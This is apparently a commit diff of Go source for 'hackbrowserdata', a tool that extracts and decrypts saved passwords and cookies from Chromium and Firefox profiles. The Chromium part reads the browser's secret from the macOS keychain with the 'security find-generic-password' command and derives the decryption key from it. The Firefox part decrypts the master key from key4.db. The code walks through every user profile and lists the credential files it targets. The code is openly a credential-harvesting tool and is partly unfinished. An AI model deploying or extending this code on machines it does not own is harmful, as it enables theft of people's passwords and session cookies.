dataPaths[dataType] = append(dataPaths[dataType], dataTypeFile)
}
}
return dataPaths, nil
}
func (c *chromium) Passwords() ([]browserdata.Password, error) {
dataType := TypePassword
if data, ok := c.extractedData[dataType]; ok {
return data.([]browserdata.Password), nil
}
extractor, ok := c.extractors[dataType]
if !ok {
return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
}
data, err := extractor.Extract()
if err != nil {
return nil, err
}
return data.([]browserdata.Password), nil
}
func (c *chromium) Cookies() ([]browserdata.Cookie, error) {
dataType := TypeCookie
if data, ok := c.extractedData[dataType]; ok {
return data.([]browserdata.Cookie), nil
}
extractor, ok := c.extractors[dataType]
if !ok {
return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
}
data, err := extractor.Extract()
if err != nil {
return nil, err
}
return data.([]browserdata.Cookie), nil
}
func (c *chromium) initExtractors() error {
dataPaths, err := c.filterExistDataPaths(c.supportedDataTypes)
if err != nil {
return err
}
for _, dataType := range c.supportedDataTypes {
if _, ok := dataPaths[dataType]; !ok {
continue
}
c.extractors[dataType] = dataType.NewExtractor(c.name.Type(), c.masterKey, dataPaths[dataType])
}
return nil
}
func (c *chromium) initProfiles() error {
if !fileutil.IsDirExists(c.profilePath) {
return ErrBrowserNotExists
}
if c.enableAllUsers {
profilesPaths, err := c.findAllProfiles()
if err != nil {
return err
}
c.profilePaths = profilesPaths
} else {
c.profilePaths = []string{c.profilePath}
}
return nil
}
// TODO: mix it as firefox's find All Profiles
func (c *chromium) findAllProfiles() ([]string, error) {
var profiles []string
root := fileutil.ParentDir(c.profilePath)
err := filepath.Walk(root, func(path string, info fs.FileInfo, err error) error {
if err != nil {
return err
}
// if the path ends with "History", add it to the list
if strings.HasSuffix(path, TypeHistory.Filename(c.name)) {
// skip the "System Profile" directory
if !strings.Contains(path, "System Profile") {
profiles = append(profiles, filepath.Dir(path))
}
}
// calculate the depth of the current path
depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator)))
// if the depth is more than 2 and it's a directory, skip it
if info.IsDir() && path != root && depth >= 2 {
return filepath.SkipDir
}
return err
})
if err != nil {
return nil, err
}
return profiles, err
}

@ -0,0 +1,46 @@
package hackbrowserdata
import (
"bytes"
"crypto/sha1"
"errors"
"fmt"
"os/exec"
"strings"
"golang.org/x/crypto/pbkdf2"
)
var (
salt = []byte("saltysalt")
)
func (c *chromium) initMasterKey() error {
var stdout, stderr bytes.Buffer
args := []string{"find-generic-password", "-wa", strings.TrimSpace(c.storage)}
cmd := exec.Command("security", args...) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("run security command failed: %w, message %s", err, stderr.String())
}
if stderr.Len() > 0 {
if strings.Contains(stderr.String(), "could not be found") {
return ErrCouldNotFindInKeychain
}
return errors.New(stderr.String())
}
secret := bytes.TrimSpace(stdout.Bytes())
if len(secret) == 0 {
return ErrNoPasswordInOutput
}
key := pbkdf2.Key(secret, salt, 1003, 16, sha1.New)
if len(key) == 0 {
return ErrWrongSecurityCommand
}
c.masterKey = key
return nil
}

@ -0,0 +1 @@
package hackbrowserdata

@ -0,0 +1 @@
package hackbrowserdata

@ -53,7 +53,6 @@ func Execute() {
data, err := b.BrowsingData(isFullExport)
if err != nil {
log.Error(err)
continue
}
data.Output(outputDir, b.Name(), outputFormat)
}

@ -9,6 +9,8 @@ import (
"crypto/sha256"
"encoding/asn1"
"errors"
"fmt"
"strings"
"golang.org/x/crypto/pbkdf2"
)
@ -20,25 +22,32 @@ var (
)
type ASN1PBE interface {
Decrypt(globalSalt, masterPwd []byte) (key []byte, err error)
Decrypt(globalSalt []byte) (key []byte, err error)
}
func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
var (
n nssPBE
m metaPBE
l loginPBE
n nssPBE
m metaPBE
l loginPBE
errs []string
)
if _, err := asn1.Unmarshal(b, &n); err == nil {
if _, err = asn1.Unmarshal(b, &n); err == nil {
return n, nil
}
if _, err := asn1.Unmarshal(b, &m); err == nil {
errs = append(errs, err.Error())
if _, err = asn1.Unmarshal(b, &m); err == nil {
return m, nil
}
if _, err := asn1.Unmarshal(b, &l); err == nil {
errs = append(errs, err.Error())
if _, err = asn1.Unmarshal(b, &l); err == nil {
return l, nil
}
return nil, errDecodeASN1Failed
errs = append(errs, err.Error())
return nil, fmt.Errorf("%w: %s", errDecodeASN1Failed, strings.Join(errs, "; "))
}
// nssPBE Struct
@ -60,8 +69,8 @@ type nssPBE struct {
Encrypted []byte
}
func (n nssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
glmp := append(globalSalt, masterPwd...)
func (n nssPBE) Decrypt(globalSalt []byte) (key []byte, err error) {
glmp := globalSalt
hp := sha1.Sum(glmp)
s := append(hp[:], n.salt()...)
chp := sha1.Sum(s)
@ -134,7 +143,7 @@ type slatAttr struct {
}
}
func (m metaPBE) Decrypt(globalSalt, _ []byte) (key2 []byte, err error) {
func (m metaPBE) Decrypt(globalSalt []byte) (key2 []byte, err error) {
k := sha1.Sum(globalSalt)
key := pbkdf2.Key(k[:], m.salt(), m.iterationCount(), m.keySize(), sha256.New)
iv := append([]byte{4, 14}, m.iv()...)
@ -177,7 +186,7 @@ type loginPBE struct {
Encrypted []byte
}
func (l loginPBE) Decrypt(globalSalt, _ []byte) (key []byte, err error) {
func (l loginPBE) Decrypt(globalSalt []byte) (key []byte, err error) {
return des3Decrypt(globalSalt, l.iv(), l.encrypted())
}

@ -0,0 +1,144 @@
package hackbrowserdata
import (
"github.com/moond4rk/hackbrowserdata/browserdata"
)
type DataType int
const (
TypeMasterKey DataType = iota
TypePassword
TypeCookie
TypeHistory
TypeBookmark
TypeCreditCard
TypeDownload
TypeExtensions
TypeSessionStorage
TypeLocalStorage
)
func (i DataType) NewExtractor(browserType browserType, masterKey []byte, datafiles []string) browserdata.Extractor {
switch i {
case TypePassword:
switch browserType {
case browserTypeChromium:
return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultDBHandler, browserdata.ChromiumPassRowsHandler)
case browserTypeFirefox:
return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultJSONHandler, browserdata.FirefoxPassRowsHandler)
}
case TypeCookie:
}
return nil
}
var (
defaultDataTypes = []DataType{TypePassword, TypeCookie}
)
const unsupportedType = ""
func (i DataType) Filename(b browser) string {
switch b.Type() {
case browserTypeChromium:
return i.chromiumFilename()
case browserTypeFirefox:
return i.firefoxFilename()
case browserTypeYandex:
return i.yandexFilename()
default:
return unsupportedType
}
}
func (i DataType) chromiumFilename() string {
switch i {
case TypeMasterKey:
return fileChromiumKey
case TypePassword:
return fileChromiumPassword
case TypeCookie:
return fileChromiumCookie
case TypeHistory:
return fileChromiumHistory
case TypeBookmark:
return fileChromiumBookmark
case TypeCreditCard:
return fileChromiumCredit
case TypeDownload:
return fileChromiumDownload
case TypeExtensions:
return fileChromiumExtension
case TypeSessionStorage:
return fileChromiumSessionStorage
case TypeLocalStorage:
return fileChromiumLocalStorage
default:
return unsupportedFile
}
}
func (i DataType) yandexFilename() string {
switch i {
case TypePassword:
return fileYandexPassword
case TypeCreditCard:
return fileYandexCredit
default:
return i.chromiumFilename()
}
}
func (i DataType) firefoxFilename() string {
switch i {
case TypeMasterKey:
return fileFirefoxMasterKey
case TypePassword:
return fileFirefoxPassword
case TypeCookie:
return fileFirefoxCookie
case TypeHistory:
return fileFirefoxData
case TypeBookmark:
return fileFirefoxData
case TypeCreditCard:
// Firefox does not store credit cards
return unsupportedFile
case TypeDownload:
return fileFirefoxData
case TypeExtensions:
return fileFirefoxExtension
case TypeSessionStorage:
return fileFirefoxData
case TypeLocalStorage:
return fileFirefoxLocalStorage
default:
return unsupportedFile
}
}
const unsupportedFile = "unsupported file"
const (
fileChromiumKey = "Local State"
fileChromiumCredit = "Web Data"
fileChromiumPassword = "Login Data"
fileChromiumHistory = "History"
fileChromiumDownload = "History"
fileChromiumCookie = "Cookies"
fileChromiumBookmark = "Bookmarks"
fileChromiumLocalStorage = "Local Storage/leveldb"
fileChromiumSessionStorage = "Session Storage"
fileChromiumExtension = "Extensions"
fileYandexPassword = "Ya Passman Data"
fileYandexCredit = "Ya Credit Cards"
fileFirefoxMasterKey = "key4.db"
fileFirefoxCookie = "cookies.sqlite"
fileFirefoxPassword = "logins.json"
fileFirefoxData = "places.sqlite"
fileFirefoxLocalStorage = "webappsstore.sqlite"
fileFirefoxExtension = "extensions.json"
)

@ -0,0 +1,15 @@
package hackbrowserdata
import (
"errors"
)
var (
ErrBrowserNotExists = errors.New("browser not exists")
ErrBrowserNotSupport = errors.New("browser not support")
ErrWrongSecurityCommand = errors.New("wrong security command")
ErrNoPasswordInOutput = errors.New("no password in output")
ErrCouldNotFindInKeychain = errors.New("could not be find in keychain")
ErrBrowsingDataNotSupport = errors.New("browsing data not support")
ErrBrowsingDataNotExists = errors.New("browsing data not exists")
)

@ -0,0 +1,23 @@
package main
import (
"fmt"
hkb "github.com/moond4rk/hackbrowserdata"
)
func main() {
browser, err := hkb.NewBrowser(hkb.Firefox)
if err != nil {
panic(err)
}
passwords, err := browser.Passwords()
if err != nil {
panic(err)
}
fmt.Println(len(passwords))
// all, err := browser.AllBrowsingData()
// if err != nil {
// panic(err)
// }
}

@ -0,0 +1,202 @@
package hackbrowserdata
import (
"bytes"
"database/sql"
"errors"
"fmt"
"io/fs"
"os"
"path/filepath"
"strings"
// import sqlite3 driver
_ "github.com/mattn/go-sqlite3"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type firefox struct {
name browser
storage string
profilePath string
profilePaths []string
profilePathKeys map[string][]byte
disableFindAllUser bool
firefoxPassword []byte
supportedData []DataType
supportedDataMap map[DataType]struct{}
}
func NewFirefox(options *Options) (Browser, error) {
return nil, nil
}
func (f *firefox) Init() error {
if err := f.initBrowserData(); err != nil {
return err
}
if err := f.initProfiles(); err != nil {
return fmt.Errorf("profile path '%s' does not exist %w", f.profilePath, ErrBrowserNotExists)
}
return f.initMasterKey()
}
func (f *firefox) Passwords() ([]browserdata.Password, error) {
if _, ok := f.supportedDataMap[TypePassword]; !ok {
// TODO: Error handle more gracefully
return nil, errors.New("password for c.name is not supported")
}
var fullPass []browserdata.Password
for profile, masterKey := range f.profilePathKeys {
passFile := filepath.Join(profile, TypePassword.Filename(f.name))
if !fileutil.IsFileExists(passFile) {
return nil, errors.New("password file does not exist")
}
passwords, err := browserdata.ExportPasswords(masterKey, passFile)
if err != nil {
return nil, err
}
if len(passwords) > 0 {
fullPass = append(fullPass, passwords...)
}
}
return fullPass, nil
}
func (f *firefox) initBrowserData() error {
if f.supportedDataMap == nil {
f.supportedDataMap = make(map[DataType]struct{})
}
for _, v := range f.supportedData {
f.supportedDataMap[v] = struct{}{}
}
return nil
}
func (f *firefox) initProfiles() error {
if !fileutil.IsDirExists(f.profilePath) {
return ErrBrowserNotExists
}
if !f.disableFindAllUser {
profilesPaths, err := f.findAllProfiles()
if err != nil {
return err
}
f.profilePaths = profilesPaths
} else {
f.profilePaths = []string{f.profilePath}
}
f.profilePathKeys = make(map[string][]byte)
return nil
}
func (f *firefox) findAllProfiles() ([]string, error) {
var profiles []string
root := fileutil.ParentDir(f.profilePath)
err := filepath.Walk(root, func(path string, info fs.FileInfo, err error) error {
if err != nil {
return err
}
if strings.HasSuffix(path, "key4.db") {
profiles = append(profiles, filepath.Dir(path))
}
depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator)))
// if the depth is more than 2 and it's a directory, skip it
if info.IsDir() && path != root && depth >= 3 {
return filepath.SkipDir
}
return err
})
if err != nil {
return nil, err
}
return profiles, err
}
func (f *firefox) initMasterKey() error {
for _, profile := range f.profilePaths {
key, err := f.findMasterKey(profile)
if err != nil {
return err
}
f.profilePathKeys[profile] = key
}
return nil
}
func (f *firefox) findMasterKey(profile string) ([]byte, error) {
keyFile := "key4.db"
keyPath := filepath.Join(profile, keyFile)
if !fileutil.IsFileExists(keyPath) {
// TODO: handle error with more details
return nil, ErrBrowserNotExists
}
tempFile := filepath.Join(os.TempDir(), keyFile)
if err := fileutil.CopyFile(keyPath, tempFile); err != nil {
return nil, err
}
defer os.Remove(tempFile)
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(tempFile)
if err != nil {
return nil, err
}
metaPBE, err := crypto.NewASN1PBE(metaBytes)
if err != nil {
return nil, err
}
k, err := metaPBE.Decrypt(globalSalt)
if err != nil {
return nil, err
}
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
if !bytes.Equal(k, []byte("password-check")) || !bytes.Equal(nssA102, keyLin) {
return nil, fmt.Errorf("invalid master key")
}
nssPBE, err := crypto.NewASN1PBE(nssA11)
if err != nil {
return nil, err
}
masterKey, err := nssPBE.Decrypt(globalSalt)
if err != nil {
return nil, err
}
return masterKey, nil
}
func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) {
db, err := sql.Open("sqlite3", key4file)
if err != nil {
return nil, nil, nil, nil, err
}
defer db.Close()
var (
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
)
if err = db.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil {
return nil, nil, nil, nil, fmt.Errorf("query metaData failed: %w, query: %s", err, queryMetaData)
}
if err = db.QueryRow(queryNssPrivate).Scan(&a11, &a102); err != nil {
return nil, nil, nil, nil, fmt.Errorf("query nssPrivate failed: %w, query: %s", err, queryNssPrivate)
}
return item1, item2, a11, a102, nil
}
func (f *firefox) setDisableAllUsers(e bool) {
f.disableFindAllUser = e
}
func (f *firefox) setProfilePath(p string) {
f.profilePath = p
}
func (f *firefox) setStorageName(s string) {
f.storage = s
}

@ -0,0 +1,17 @@
package hackbrowserdata
import (
"testing"
)
func TestFirefox_Init(t *testing.T) {
// firefox := browsers[Firefox]
// if err := firefox.Init(); err != nil {
// t.Fatal(err)
// }
// passwords, err := firefox.Passwords()
// if err != nil {
// t.Fatal(err)
// }
// fmt.Println(passwords)
}

@ -0,0 +1,36 @@
package hackbrowserdata
type Options struct {
Name browser
Storage string
ProfilePath string
IsEnableAllUser bool
DataTypes []DataType
NewBrowserFunc func(*Options) (Browser, error)
}
type BrowserOption func(*Options)
func WithBrowserName(p string) BrowserOption {
return func(o *Options) {
o.Name = browser(p)
}
}
func WithProfilePath(p string) BrowserOption {
return func(o *Options) {
o.ProfilePath = p
}
}
func WithEnableAllUsers(e bool) BrowserOption {
return func(o *Options) {
o.IsEnableAllUser = e
}
}
func WithStorageName(s string) BrowserOption {
return func(o *Options) {
o.Storage = s
}
}
Loading…
Cancel
Save